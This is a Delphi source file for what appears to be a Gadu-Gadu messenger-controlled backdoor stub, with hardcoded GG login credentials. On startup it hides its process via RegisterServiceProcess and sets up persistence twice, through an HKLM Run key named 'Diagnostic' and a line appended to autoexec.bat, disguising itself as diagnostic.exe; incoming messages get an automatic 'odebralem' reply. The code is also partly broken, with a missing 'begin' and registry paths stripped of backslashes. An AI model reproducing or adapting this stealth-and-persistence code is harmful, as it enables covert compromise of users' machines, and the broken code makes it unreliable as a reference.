unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, CoolTrayIcon, GGLite, Registry;
type
TForm1 = class(TForm)
gg: TGGLite;
CoolTrayIcon1: TCoolTrayIcon;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ggRecvMsg(Sender: TObject; MsgBody: String;
MsgFormat: Variant; MsgFrom: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
function registerserviceprocess(pid,blah:longint):boolean;
stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';
procedure TForm1.FormCreate(Sender: TObject);
var
Reg:TRegistry;
Plik:TextFile;
begin
gg.login:=6736855;
gg.password:='gglitle';
gg.GGInitHost;
gg.GGLogon;
gg.GGChangeUserStatus;
//form1.hide;
registerserviceprocess(0,1);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
try
Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',False);
Reg.WriteString('Diagnostic', 'C:Windowsdiagnostic.exe');
finally
Reg.CloseKey;
Reg.Free;
end;
AssignFile(Plik,'C:autoexec.bat');
Append(Plik);
Writeln(Plik,'C:Windowsdiagnostic.exe');
CloseFile(Plik);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
gg.GGLogoutFast;
end;
procedure TForm1.ggRecvMsg(Sender: TObject; MsgBody: String;
MsgFormat: Variant; MsgFrom: Integer);
MsgFormat:=VarArrayCreate([0,1], varVariant);
MsgFormat[0]:=0;
MsgFormat[1]:='<n>';
gg.GGSendMessage(true,msgfrom,'odebralem',MsgFormat);
end;
end.